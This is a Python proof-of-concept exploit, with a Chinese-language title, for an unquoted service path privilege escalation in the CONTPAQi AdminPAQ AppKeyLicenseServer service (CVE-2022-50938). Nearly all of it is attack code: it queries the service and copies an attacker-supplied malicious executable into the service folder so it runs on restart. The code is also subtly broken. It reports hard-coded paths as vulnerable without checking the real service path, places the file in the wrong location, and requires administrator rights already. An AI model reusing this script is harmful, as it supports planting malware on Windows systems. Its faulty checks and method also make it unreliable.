CVE-2022-50938 CONTPAQi AdminPAQ 未引号服务路径权限提升漏洞

# CVE-2022-50938 PoC - Unquoted Service Path Exploitation # Target: CONTPAQi AdminPAQ AppKeyLicenseServer Service # Severity: High (CVSS 8.4) import os import shutil import sys import ctypes def check_vulnerability(): """Check if the target service has unquoted service path""" service_name = "AppKeyLicenseServer" vulnerable_paths = [ r"C:\Program Files\CONTPAQi\AdminPAQ\AppKeyLicenseServer.exe", r"C:\Program Files (x86)\CONTPAQi\AdminPAQ\AppKeyLicenseServer.exe" ] print(f"[*] Checking service: {service_name}") # Check if service exists import subprocess try: result = subprocess.run( ['sc', 'qc', service_name], capture_output=True, text=True ) if result.returncode == 0: print(f"[+] Service {service_name} found") print(result.stdout) # Check for unquoted paths for path in vulnerable_paths: if not path.startswith('"') and ' ' in path: print(f"[!] Unquoted path detected: {path}") return path except Exception as e: print(f"[-] Error checking service: {e}") return None def exploit_unquoted_path(malicious_exe_path, target_dir): """ Exploit unquoted service path by placing malicious executable in the directory before the actual service binary """ if not os.path.exists(target_dir): print(f"[-] Target directory does not exist: {target_dir}") return False # Get the second-to-last path component path_parts = target_dir.rstrip('\\').split('\\') malicious_filename = path_parts[-2] + ".exe" malicious_target = os.path.join(target_dir, malicious_filename) print(f"[*] Placing malicious executable: {malicious_target}") try: # Backup original if exists if os.path.exists(malicious_target): shutil.copy2(malicious_target, malicious_target + ".bak") # Copy malicious executable shutil.copy2(malicious_exe_path, malicious_target) print(f"[+] Malicious executable placed successfully") print(f"[!] When AppKeyLicenseServer service restarts, {malicious_filename} will be executed") return True except Exception as e: print(f"[-] Failed to place malicious executable: {e}") return False def main(): print("=" * 60) print("CVE-2022-50938 - CONTPAQi AdminPAQ Unquoted Service Path") print("=" * 60) # Check if running with admin privileges if not ctypes.windll.shell32.IsUserAnAdmin(): print("[-] This exploit requires administrator privileges") return print("[+] Running with administrator privileges") # Check for vulnerability vulnerable_path = check_vulnerability() if vulnerable_path: print("[+] Vulnerability confirmed!") target_dir = os.path.dirname(vulnerable_path) # Example: Create a simple reverse shell payload # In real attack, this would be a proper malicious executable print("[*] To exploit, place malicious executable in:") path_parts = vulnerable_path.rstrip('\\').split('\\') malicious_name = path_parts[-2] + ".exe" print(f" {os.path.dirname(vulnerable_path)}\\\{malicious_name}") else: print("[-] Service not found or not vulnerable") if __name__ == "__main__": main()